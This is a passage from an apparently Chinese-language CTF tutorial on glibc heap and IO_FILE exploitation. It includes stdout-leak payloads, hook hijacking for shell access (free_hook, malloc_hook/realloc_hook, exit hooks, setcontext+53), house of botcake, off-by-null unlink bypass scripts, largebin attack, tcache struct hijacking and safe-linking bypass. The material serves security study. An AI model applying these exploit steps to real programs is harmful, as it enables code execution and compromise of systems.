      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  // 判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
  // 为了不执行该if分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
    }
  // 调用_IO_do_write 输出 输出缓冲区
  // 从_IO_write_base开始,输出(_IO_write_ptr - f->_IO_write_base)个字节的数据
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  ...
  _IO_size_t count;
  // 为了不执行else if分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  // 调用函数输出输出缓冲区
  count = _IO_SYSWRITE (fp, data, to_do);
  ...
  return count;
}

综上,为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8
(2) 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
(3) 设置_fileno1
(4) 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
(5) 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000
此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有\n换行符 或 设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。
一般来说,经常利用puts函数加上述stdout任意读的方式泄露libc
_flag的构造需满足的条件:

1
2
3
4
_flags = 0xfbad0000 
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

因此,例如在libc-2.27下,构造payload = p64(0xfbad1800) + p64(0)*3 + b'\x58',泄露出的第一个地址即为_IO_file_jumps的地址。
此外,_flags也可再加一些其他无关紧要的部分,如设置为0xfbad18870xfbad18800xfbad3887等等。

global_max_fast的相关利用 (house of corrosion)

fastbin_ptrlibc-2.23指向main_arena+8的地址,在libc-2.27及以上指向main_arena+0x10的地址,从此地址开始,存放了各大小的fast binfd指针,指向各单链表中首个堆块的地址,因此可将global_max_fast改为很大的数,再释放大堆块进入fast bin,那么就可以将main_arena后的某处覆盖成该堆块地址。
因此,我们需要通过目标地址与fast bin数组的偏移计算出所需free的堆块的size,计算方式如下:

1
2
3
fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)
index = (target_addr - fastbin_ptr) / 8
size = index*0x10 + 0x20

容易想到,可以通过此方式进行IO_FILE attack:覆写_IO_list_all,使其指向伪造的结构体,或者伪造._chain指向的结构体来实现任意读写,或者伪造vtablelibc-2.23)。
也可以利用此方式,修改__free_hook函数(__malloc_hook__realloc_hookmain_arena的上方),从而getshell,此时需要有UAF漏洞修改__free_hook中的fake fast binfdsystem_addrone_gadget(这里不涉及该fd指针指向的堆块的取出,因此不需要伪造size),然后申请出这个fake fast bin,于是__free_hook这里的“伪链表头”将会指向被移出该单链表的fake fast binfd字段中的地址,即使得__free_hook中的内容被修改成了system_addrone_gadget
需要注意的是,若是用此方法改stdout来泄露相关信息,也可以不改_flags,如假设有漏洞可以修改一个堆块的size,那么可以构造_IO_read_end等于_IO_write_base来进行绕过,具体方式是:改了global_max_fast后,先释放一个需要泄露其中内容的fake fast bin_IO_read_end(此时,正常走IO指针的输出均会失效,因为过不了_IO_read_end = _IO_write_base的判断,就不会执行_IO_SYSWRITE),然后修改该fake fast binsize,再将其释放到_IO_write_base处即可。
利用此方法,也可以对libc进行泄露,毕竟在算index的时候,libc_base是被抵消掉的,或者说,是可以泄露在fastbinsY之后的数据。泄露的思想就是:当free时,会把此堆块置入fastbin链表的头部,所以在free后,此堆块的fd位置的内容,就是free前此SIZE的链表头部指针,通过越界就可以读取LIBC上某个位置的内容。

Tricks

1.free_hook

 

劫持free_hook,一般都是申请到free_hook_addr的写入权,改写为one_gadgetsystem等,有时候one_gadget无法使用,就需要free(X),其中这里X地址中的值为/bin/sh,故我们可以申请到free_hook_adddr - 8处的写入权,写入b'/bin/sh\x00' + p64(system_addr),然后free(free_hook_adddr - 8)即可,而一般都由chunk[t] = malloc(...)申请到堆块的读写权,故直接free(chunk[t])即可。

 

2.malloc_hook配合realloc_hook调整栈帧打one_gadget

 

malloc_hookrealloc_hook地址相邻,realloc_hookmalloc_hook_addr - 8处,而__libc_realloc中有如下汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; 以libc-2.23为例:
6C0    push    r15    ; Alternative name is '__libc_realloc'
6C2    push    r14
6C4    push    r13
6C6    push    r12
6C8    mov     r13, rsi
6CB    push    rbp
6CC    push    rbx
6CD    mov     rbx, rdi
6D0    sub     rsp, 38h
6D4    mov     rax, cs:__realloc_hook_ptr
6DB    mov     rax, [rax]
6DE    test    rax, rax
6E1    jnz     loc_848E8
...

故我们可以申请到malloc_hook_addr - 8的写入权,写入p64(one_gadget) + p64(realloc_addr+offest),即在realloc_hook写入one_gadget,在malloc_hook写入realloc_addr + offest,此处通过控制offest来减少push个数,进而达到调整栈帧的目的,offest可取[0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]relloc_addr = libc_base + libc.sym['__libc_realloc'],然后通过malloc–>malloc_hook–>realloc–>realloc_hook–>one_gadget的流程getshell
此外,fast bin attack的时候,需构造0x70fast binfd指针指向malloc_hook-0x23处,此时fake size域为0x7f,会被当作0x70

 

3.setcontext + 53

 

setcontext中的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
push    rdi
lea     rsi, [rdi+128h] ; nset
xor     edx, edx        ; oset
mov     edi, 2          ; how
mov     r10d, 8         ; sigsetsize
mov     eax, 0Eh
syscall                 ; LINUX - sys_rt_sigprocmask
pop     rdi
cmp     rax, 0FFFFFFFFFFFFF001h
jnb     short loc_520F0
mov     rcx, [rdi+0E0h]
fldenv  byte ptr [rcx]
ldmxcsr dword ptr [rdi+1C0h]
mov     rsp, [rdi+0A0h]  ; setcontext+53
mov     rbx, [rdi+80h]
mov     rbp, [rdi+78h]
mov     r12, [rdi+48h]
mov     r13, [rdi+50h]
mov     r14, [rdi+58h]
mov     r15, [rdi+60h]
mov     rcx, [rdi+0A8h]
push    rcx
mov     rsi, [rdi+70h]
mov     rdx, [rdi+88h]
mov     rcx, [rdi+98h]
mov     r8, [rdi+28h]
mov     r9, [rdi+30h]
mov     rdi, [rdi+68h]
xor     eax, eax
retn

可以看到从setcontext+53处的mov rsp, [rdi+0A0h]这行代码往后,修改了很多寄存器的值,其中,修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行到最后的retn操作,而retn的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力。
利用pwntools带的SigreturnFrame(),可以方便的构造出setcontext执行时对应的调用区域,实现对寄存器的控制,从而实现函数调用或orw调用,具体如下:

1
2
3
4
5
6
7
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = ...
frame.rip = ...
...

我们将bytes(frame)布置到某个堆块K中,然后将free_hook改为setcontext+53,再通过free(K)即可触发(此时rdi就是K,指向堆块的user data),在我们构造的Frame中,frame.rip就是rcx的值,即执行完setcontext后执行的地址,而 frame.rsp就是最终retnrsp的值(最后再跳转到此处rsp),因此可类似于SROP做到连续控制。

 

4.劫持exit hook

 

exit中调用了__run_exit_handlers,而在__run_exit_handlers中又调用了_dl_fini_dl_fini源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      if (nloaded == 0
#ifdef SHARED
      || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
      )
    __rtld_lock_unlock_recursive (GL(dl_load_lock));

发现了其中调用的两个关键函数:

1
2
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));

再看__rtld_lock_lock_recursive()的定义:

1
2
# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)

查看宏GL的定义:

1
2
3
4
5
# if IS_IN (rtld)
#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name
# endif

由此可知,_rtld_global是一个结构体,_dl_rtld_lock_recursive_dl_rtld_unlock_recursive实际上是该结构体中的函数指针,故我们将其中之一修改为one_gadget即可getshell
需要注意的是,_rtld_global结构位于ld.so中 ( ld.sym['_rtld_global'] ),而libc_baseld_base又有固定的差值,如在2.27中有libc_base+0x3f1000=ld_base,此时dl_rtld_lock_recursive_rtld_global的偏移是0xf00dl_rtld_unlock_recursive_rtld_global的偏移是0xf08,最终修改dl_rtld_lock_recursive还是dl_rtld_unlock_recursiveone_gadget视情况而定,需要满足one_gadget的条件才行。
此外,由源码可知,若是有两次修改机会,可以将dl_rtld_lock_recursivedl_rtld_unlock_recursive函数指针改成system的地址,然后在_rtld_global.dl_load_lock.mutex(相对于_rtld_global偏移0x908)的地址中写入/bin/sh\x00,即可getshell
libc中,还有一个更为方便的exit hook,就是__libc_atexit这个函数指针,从exit.c的源码中可以看到:

1
2
3
4
5
6
7
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
...
if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
...

而在我们调用__run_exit_handlers这个函数时,参数run_list_atexit传进去的值就为真:

1
2
3
4
void exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

因此,可以直接改__libc_atexit的值为one_gadget,在执行exit函数(从main函数退出时也调用了exit())时,就能直接getshell了。
这个__libc_atexit有一个极大的优点,就是它在libc而非ld中,随远程环境的改变,不会有变化。缺点就是,它是无参调用的hook,传不了/bin/sh的参数,one_gadget不一定都能打通。

 

5.scanf读入大量数据申请large bin,触发malloc_consolidate

 

当通过scanfgets等走IO指针的读入函数读入大量数据时,若默认缓冲区(0x400)不够存放这些数据,则会申请一个large bin存放这些数据,例如读入0x666个字节的数据,则会申请0x810大小的large bin,并且在读入结束后,将申请的large bin进行free,其过程中由于申请了large bin,因此会触发malloc_consolidate

高版本glibc下的利用

在上面一个板块中,对部分新版本glibc的改进稍有提及,在此板块中将深入展开对新版本glibc下利用的讲解。

house of botcake

2.28以后,tcachebk位置写入了key,在2.34之前,这个key值为tcache struct的首地址加上0x10,在2.34以后,就是一个随机值了,当一个chunkfree的时候,会检测它的key是否为这个值,也就是检测其是否已经在tcache bin中,这就避免了tcachedouble free
然而,当有UAF漏洞的时候,可以用house of botcake来绕过key的检测,达到任意写的目的。需要注意的是,在2.30版本后,从tcache取出堆块的时候,会先判断对应的count是否为0,如果已经减为0,即使该tcache bin中仍有被伪造的地址,也无法被取出。
流程如下:

  1. 先将tcache bin填满(大小要大于0x80
  2. 再连续free两个连着的堆块(AB的上方,A不能进入tcache binB的大小要与第一步tcache bin中的相等),使其合并后进入unsorted bin
  3. tcache bin中取出一个堆块,空出一个位置
  4. Chunk B利用UAF漏洞,再次释放到tcache bin中,并申请回unsorted bin中的Chunk A & B合并的大堆块(部分),修改Chunk Bnext指针指向任意地址,并申请到任意地址的控制权

off by one (null)

2.27的版本,对在unlink的时候,增加了一个检测:

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
    malloc_printerr ("corrupted size vs. prev_size");

也就是说,会检查“即将脱链”的chunksize域是否与他下一个chunkprev_size域相等。
这个检测很好绕过,只需要将“即将脱链”的堆块在之前就真的free一次,让它进入list,也就会在其next chunkprev_size域留下它的size了。
2.29版本以后,在unlink时,增加了判断触发unlinkchunkprev_size域和即将脱链的chunksize域是否一致的检测:

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");

有了这个检测就会比较麻烦了,不过仍然是有以下两种新方法绕过该检测:

 

1.思路一:利用 largebin 的残留指针 nextsize

 

首先,当一个堆块进入某个原本是空的largebin list,他的fd_nextsizebk_nextsize内都是他自身的堆地址。
我们现在从这个largebin + 0x10的位置开始伪造一个fake chunk,也就是将原本的fd_nextsizebk_nextsize当成fake chunkfdbk,而我们最终也是要将触发unlink的堆块和这个fake chunk合并,造成堆叠。
如此,我们很好控制fake chunksize等于触发堆块的prev_size了,不过在此情况下又要绕过unlink的一个经典检测了,即检测每个即将脱链的堆块的fdbkbkfd是否都指向其本身:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))     
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这个检测在之前都是不需要绕过的,因为对于之前的方法来说,双向链表显然都是合法完整的,但对于我们想重新伪造fdbk,却成了一个大麻烦。

 

对于大部分off by null的题目,是不太好直接泄露libc_baseheap_base的,因此我们想重新伪造fdbk并绕过双向链表完整性检查,对于原先残留的fd_nextsize地址,可以对其进行部分写入最后两位,更改为我们想要伪造成的堆地址(并进一步通过伪造成的堆地址满足双向链表检查)。不过,这里需要注意的是,我们需要让我们想要伪造成的堆地址与fd_nextsize中的残留地址只有后两位不同,且进行部分写入后,由于off by null,会将部分写入的地址后一字节覆盖成\x00,因此我们需要让我们想要伪造成的堆地址本身就是0x......X0XX这种形式,然后再爆破倒数第四位,让它为0即可,有1/16的爆破成功概率;而对于bk_nextsize来说,由于其之前的fd_nextsize不可再被更改了,就无法覆盖到bk_nextsize了,那么bk_nextsize就只能是原先的largebin地址了,而fake chunkbk->fd在此时也就是fake chunkprev_size位,只要在其中填上fake chunk的地址(largebin + 0x10)即可绕过检查。
下面来看一下具体的实现操作:
(1)首先进行一些堆块的申请,使得所需的largebin的地址为0x....000

1
2
3
4
5
6
7
add(0xbe0, b'\n') # 48 => largebin's addr is 0x.....000
for i in range(7): # 49~55 tcache
    add(0x20, b'\n')
add(0xa20, b'\n') # 56 (large bin)
add(0x10, b'\n') # 57  separate #56 from top chunk
delete(56) # 56 -> unsorted bin
add(0xff0, b'\n') # 56  old_56 -> large bin

(2)伪造出fake chunk并伪造fd,绕过fake chunk->fd->bk = fake chunk的检测
同样,我们将fake chunkfd改成了某个临近堆块A,但仍然需要将chunk Abk改成fake chunk的地址,所以仍需要部分写入的方式更改,这就要求我们需要使chunk Abk本身就是一个堆地址,且与fake chunk的地址只有最后两位不同(临近)。
我们可以通过将chunk Achunk Bfake chunk的临近堆块)放入small binunsorted bin等中,使得其链表为chunk B <-> chunk A,这样即可满足要求。
由于要是fake chunk的临近堆块,只能申请小堆块,所以这里使其放入small bin比较好实现,因为小堆块进入fastbin中后,只要触发malloc_consolidate(),若它们之间无法合并,即可让它们直接进入small bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x20, p64(0) + p64(0x521) + b'\x30'# 58  create the fake chunk and change it's fd (largebin's fd_nextsize) to point to the chunk #59
add(0x20, b'\n') # 59
add(0x20, b'\n') # 60
add(0x20, b'\n') # 61
add(0x20, b'\n') # 62
for i in range(49, 56): # fill the tcache bin
    delete(i)
delete(61) # 61 -> fastbin
delete(59) # 59 -> fastbin
for i in range(7): # 49~55
    add(0x20, b'\n')
add(0x400, b'\n') # 59  apply for a largebin to trigger malloc_consolidate() to push #59 & #61 into the smallbin (reverse)
# smallbin : #61 <-> #59 (old, the fake chunk's next chunk)
add(0x20, p64(0) + b'\x10') # 61  change old chunk #59's bk to point to the fake chunk
# until now, satisify : the fake chunk's fd->bk points to itself
add(0x20, b'\n') # 63  clear the list of the smallbin

(3)伪造bk,绕过fake chunk->bk->fd = fake chunk的检测
按照之前的分析,需要在fake chunkprev_size位填入fake chunk的地址,仍然需要部分写入的方法,也就要求fake chunkprev_size位原先就是一个fake chunk的临近堆地址。
我们只需要将原先largebin的头部被分割出来的一个小堆块和另外一个fake chunk的临近堆块均放入fastbin中,这样largebin头部小堆块的fd,也就是fake chunkprev_size位就会被填入一个fake chunk的临近堆地址,再申请出来进行部分写入,使其为fake chunk的地址即可。
需要注意的是,不能将堆块放入tcache,这样虽然prev_size域仍然是这个临近堆地址,但是我们之前伪造好的fake chunksize域就会被tcachekey所覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
# fake chunk's bk (large bin's bk_nextsize) point to largebin
# fake chunk's bk->fd is largebin+0x10 (fake chunk's prev_size)
for i in range(49, 56): # fill the tcache bin
    delete(i)
delete(62) # -> fastbin
delete(58) # -> fastbin (the head of largebin)
# if push #62 & #58 into tcache bin, their size will be covered with tcache's key
for i in range(7): # 49~55
    add(0x20, b'\n')
add(0x20, b'\x10') # 58  change the fake chunk's prev_size to the address of itself
add(0x20, b'\n') # 62
# until now, satisify : the fake chunk's bk->fd points to itself

(4)伪造触发堆块的prev_size,利用off by null修改sizeprev_inuse标志位为0free触发堆块,进行unlink合并,造成堆叠。

1
2
3
4
5
add(0x28, b'\n') # 64
add(0x4f0, b'\n') # 65  0x500
delete(64)
add(0x28, p64(0)*4 + p64(0x520)) # 64  off by null  0x501 -> 0x500
delete(65) # unlink

2. 思路二:利用 unsorted bin 和 large bin 链机制

 

该方法与上面一个方法的主体思路类似(都是通过部分写入来篡改地址),实现方式有所不同,稍微简单一些。
堆块布局如下:

1
2
3
4
5
6
7
堆块1 (利用堆块的fd)
阻隔堆块
辅助堆块(0x420=> 重分配堆块10x440,修改size)
利用堆块(0x440=> 重分配堆块20x420,辅助堆块)
阻隔堆块
堆块2 (利用堆块的bk)
阻隔堆块

(1)我们可以通过unsorted bin链,直接让某堆块的fdbk都分别指向一个堆地址(free堆块1/2和利用堆块),就不需要通过部分写入来伪造fdbk了,不过这样就不好直接伪造利用堆块的size域了,可以通过辅助堆块和利用堆块合并后再分配,来使得原先利用堆块的size在重分配堆块1的mem区,就可以修改到原先利用堆块的size了,但这样的话,由于堆块的重分配,原先的利用堆块就不合法了,也就意味着需要绕过双向链表检测。以下就将利用堆块叫作fake chunk了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
create(0x418) # 0 (chunk M)
create(0x108) # 1
create(0x418) # 2 (chunk T)
create(0x438) # 3 (chunk X, 0x...c00)
create(0x108) # 4
create(0x428) # 5 (chunk N)
create(0x108) # 6
delete(0)
delete(3)
delete(5)
# unsorted bin: 5 <-> 3 <-> 0
# chunk X(#3) [ fd: chunk M(#0)  bk: chunk N(#5) ]
 
delete(2) # chunk T & chunk X unlink and merge
create(0x438, b'a'*0x418 + p64(0x1321))  # 0  split and set chunk X's size
create(0x418# 2 allocate the rest part (0x...c20) as chunk K
create(0x428# 3 chunk X's bk (chunk N)
create(0x418# 5 chunk X's fd (chunk M)

(2)绕过fake chunk->fd->bk = fake chunk的检测
我们在之前的状态下,先删除fake chunk->fd堆块,再删除重分配堆块2(辅助堆块),我们就可以在fake chunk->fd堆块的bk位置写入一个重分配堆块 2(辅助堆块)的地址。
再将这个fake chunk->fd堆块申请回来,由于重分配堆块2(辅助堆块)就是fake chunk的临近堆块,所以利用部分写入的方式,就可以修改其bkfake chunk的地址了(这里仍会涉及到off by null导致后一个字节被覆写为\x00,依然需要爆破,下面代码的示例题目是将输入的最后一字节改成\x00,因此不需要爆破),最后再申请回重分配堆块2(辅助堆块)。

1
2
3
4
5
6
# let chunk X's fd -> bk (chunk M's bk) point to chunk X (by unsorted bin list)
delete(5)
delete(2)
# unsorted bin : 2 <-> 5 , chunk M's bk points to chunk K (0x...c20)
create(0x418, b'a'*9# 2  overwrite partially chunk M's bk to 0x...c00 (point to chunk X)
create(0x418# 5  apply for the chunk K back

(3)绕过fake chunk->bk->fd = fake chunk的检测
若是我们仍采用上述的思路,先删除重分配堆块2(辅助堆块),再删除fake chunk->bk堆块,的确会在fake chunk->bkfd写入重分配堆块2(辅助堆块)的地址,但是在申请回fake chunk->bk堆块时,会先遍历到重分配堆块2(辅助堆块),然后将其放入largebin,与unsorted bin链断开了,这样等申请到fake chunk->bk的时候,其fd就不再是重分配堆块2(辅助堆块)的地址了。
不难想到,如果先删除重分配堆块2(辅助堆块),再删除fake chunk->bk堆块,然后就将它们全放入largebin,从largebin中申请出堆块,就不会涉及上面的问题了。
我们申请出fake chunk->bk,直接部分写入其fd,指向fake chunk即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
# let chunk X's bk -> fd (chunk N's fd) point to chunk X (by large bin list)
delete(5)
delete(3)
# unsorted bin : 3 <-> 5 , chunk N's fd points to chunk K (0x...c20)
# can not overwrite partially chunk N's fd points to chunk X in the unsorted bin list directly
# because applying for the size of chunk N(#3) will let chunk K(#5) break away from the unsorted bin list
# otherwise, chunk N's fd will be changed to main_arena+96
create(0x448) # 3  let chunks be removed to the large bin
# large bin : old 3 <-> old 5
create(0x438) # 5
create(0x4f8) # 7
create(0x428, b'a'# 8  overwrite partially chunk N's fd to 0x...c00 (point to chunk X)
create(0x418# 9  apply for the chunk K back

(4)伪造触发堆块的prev_size,利用off by null修改sizeprev_inuse标志位为0free触发堆块,进行unlink合并,造成堆叠。

1
2
3
4
# off by null
modify(5, b'a' * 0x430 + p64(0x1320)) # set prev_size and change prev_inuse (0x501 -> 0x500)
create(0x108# 10
delete(7# unlink

largebin attack

glibc 2.28开始,_int_malloc中增加了对unsorted binbk的校验,使得unsorted bin attack变得不可行:

1
2
if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): corrupted unsorted chunks 3");

因此,对于高版本的glibc来说,通常用largebin attacktcache stashing unlink attack来达到任意写大数值,而其中largebin attack更好,因为它写入的是堆地址,堆的内容常常是可控的。
然而,从glibc 2.30开始,常规large bin attack方法也被封堵,加入了判断bk_nextsize->fd_nextsize是否指向本身:

1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

还加入了检查:

1
2
if (bck->fd != fwd)
    malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

但这都是在我们原先利用的分支中加入的判断,也就是当加入该largebin listchunksize大于largebin list中原先chunksize时。
而在加入堆块的size小于largebin list中原有堆块的size时的分支中,仍然是可以利用的,不过相对于旧版可以任意写两个地址,到这里只能任意写一个地址了:

1
2
3
4
5
6
7
8
9
10
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}
else
...

利用流程如下:

  1. largebin list中放入一个堆块A,并利用UAF等漏洞修改其内容为p64(0)*3 + p64(target_addr - 0x20),也就是在bk_nextsize写入target_addr - 0x20

  2. 释放一个大小略小于堆块A的堆块B进入到同一个largebin list,此时就会在target_addr中写入堆块B的地址
    原理解释:源码中的bck就是largebin list的头部,而bck->fd就指向了其中size最小的堆块,将源码中1带入2中得:fwd->fd->bk_nextsize->fd_nextsize = victim,又在之前有fwd = bckfwd->fd就是largebin list头部的fd,而此largebin list在加入堆块B之前只有堆块A,因此fwd->fd->bk_nextsize->fd_nextsize = victim就是堆块Abk_nextsize->fd_nextsize也就是target_addr处写入了victim也就是堆块B的地址。

  3. 若是仅在任意地址写入大数值,那上述过程就已经实现了,但很多时候需要修复largbin list,以免在之后申请堆块时出现错误,或者有时候需要再将largebin list中的堆块申请出来,对其内容进行控制。在上述过程结束后,堆块Bbk_nextsize有源码中的1处,也改成了target_addr - 0x20,我们将堆块B取出后,堆块Bbk_nextsize->fd_nextsize也就是target_addr就写入了堆块A的地址,此时再用同样的UAF等漏洞对堆块Abk/fdbk/fd_nextsize进行修复,即可成功取出堆块A,并可以对堆块A的内容进行控制,也就是对target_addr所指向的地址进行控制,就可以劫持IO FILE或是TLS结构,link_map等等。

Tcache Struct的劫持与溢出

关于Tcache Struct的劫持与溢出包含了很多方法,且基本不存在高低版本有区别的问题,但是在高版本libc的题目中运用更广泛,因此就放到这里来讲了。
首先简单介绍一下Tcache Struct
2.30版本以下:

1
2
3
4
5
typedef struct tcache_perthread_struct
{
    char counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

2.30版本及以上:

1
2
3
4
5
typedef struct tcache_perthread_struct
{
    uint16_t counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

可以看到,Tcache Struct的有一个counts数组和entries链表,它本身就是一个堆,在所有堆块的最上面,而在不同版本,它的counts数组大小不同,2.30以下的类型只占一个字节,而2.30及以上的类型就占两个字节了,又TCACHE_MAX_BINS = 64,因此2.30以下Tcache Struct的大小为0x250,而2.30及以上为0x290
Tcache Structcounts数组中每个元素代表其对应大小的tcache bin目前在tcache中的个数,而entries数组中的地址指向其对应大小的tcache bin所在的单链表中头部的tcache bin
2.30以下,在从tcache struct取出内容的时候不会检查counts的大小,从而我们只需要修改我们想要申请的size对应的链表头部位置,即可申请到。而在2.30及以上版本的libc,则需要考虑对应counts的大小要大于0,才能取出。
对于劫持Tcache Struct,有两种方式,一种就是直接劫持Tcache Struct的堆块,对其中的数据进行伪造,另外一种就是劫持TLS结构中的tcache pointer,其指向Tcache Struct,将其改写,即可改为指向一个伪造的fake Tcache Struct
对于Tcache Struct的溢出,先往mp_.tcache_bins写入一个大数值,这样就类似于改global_max_fast一样,我们之后free的堆块,都会被放入tcache中,而Tcache Struct中的某些countsentries数组都会溢出到我们可控的堆区域中,但是利用此方法,需要对堆块的布局格外留心,防止出现一些不合法的情况从而报错。

glibc 2.32 在 tcache 和 fastbin 上新增的保护及绕过方法

2.32版本,对tcachefastbin都新增了指针保护:

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

比如在tcache_put()中加入tcache bin时,就有e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]),对其next指针进行加密,而在tcache_get()中取出tcache bin时,就有tcache->entries[tc_idx] = REVEAL_PTR (e->next)将解密后的结果放入entries数组更新。在fastbin中也有类似的p->fd = PROTECT_PTR(&p->fd, old)操作。
PROTECT_PTR操作就是先对posfd/next域的堆块地址)右移了12位(去除了末三位信息),再将与原先的指针(在此版本之前fd/next储存的内容)异或得到的结果存入fd/next。由异或的自反性,解密只需PROTECT_PTR (&ptr, ptr)即可。
值得一提的是,当fastbin/tcache中只有一个chunk的时候,它的fd/next为零,而零异或pos>>12就是pos>>12,因此可以通过这样的堆块泄露pos>>12(密钥)的值,当然还可以通过泄露heap_base来得到pos>>12(密钥)的值,每在0x1000范围内,堆块的密钥都一样。

main_arena的劫持

main_arena其实也可以通过劫持TLS结构直接劫持,但是通过劫持TLS结构来劫持main_arena的话,需要伪造一个近乎完整的main_arena,这并不是很容易,堆块大小也要足够大才行,而若是我们能劫持到原先已有的main_arena,对其中部分数据进行修改,这样就简单很多了,我们可利用fastbin attack进行劫持实现。
我们知道,在fastbin attack中常常需要伪造堆块的size,因为当堆块从fastbin中取出时,会检查其size是否匹配。在libc 2.27以上的main_arena中,有一项have_fastchunks,当其中fastbin中有堆块时,这一项将会置为1,而这一项又在main_arena中所有重要信息的上方,又have_fastchunksmain_arena + 8的位置,若是have_fastchunks = 1,则可以通过fastbin attack,将其中一个chunkfd改为main_arena - 1的地址,即可伪造出一个size0x100的堆块,但是0x100这个大小已经超过了默认的global_max_fast的大小0x80,因此需要先将global_max_fast改为一个大数值,才能够劫持到main_arena

house of pig (PLUS)

先看到_IO_str_overflow函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int _IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)
            return EOF;
          new_buf = malloc (new_size); // 1
          if (new_buf == NULL)
            {
              /*      __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
